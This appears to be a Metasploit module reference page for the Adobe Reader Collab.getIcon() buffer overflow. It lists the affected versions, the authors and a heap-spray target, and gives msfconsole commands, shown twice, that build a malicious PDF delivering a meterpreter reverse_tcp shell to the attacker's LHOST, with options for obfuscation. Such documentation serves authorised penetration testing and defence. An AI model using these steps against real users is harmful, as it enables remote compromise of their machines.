Adobe Collab.getIcon() Buffer Overflow
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat. Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially crafted pdf that a contains malformed Collab.getIcon() call, an attacker may be able to execute arbitrary code.
Exploit Rank
- Good
Exploit Authors
- MC < mc [at] metasploit.com >
- Didier Stevens < didier.stevens [at] gmail.com >
- jduck < jduck [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Adobe Reader Universal (JS Heap Spray) (default)
Exploit Development
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Exploit Usage Information
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msf > use exploit/windows/fileformat/adobe_geticon
msf exploit(adobe_geticon) > show payloads
msf exploit(adobe_geticon) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_geticon) > set LHOST [MY IP ADDRESS]
msf exploit(adobe_geticon) > exploit
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msf > use exploit/windows/fileformat/adobe_geticon
msf exploit(adobe_geticon) > show payloads
msf exploit(adobe_geticon) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_geticon) > set LHOST [MY IP ADDRESS]
msf exploit(adobe_geticon) > exploit
Exploit Module Options
| FILENAME | The file name. (default: msf.pdf) |
| PDF::Encoder | Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX (default: ASCIIHEX) |
| PDF::Method | Select PAGE, DOCUMENT, or ANNOTATION (default: DOCUMENT) |
| PDF::MultiFilter | Stack multiple encodings n times (default: 1) |
| PDF::Obfuscate | Whether or not we should obfuscate the output (default: true) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |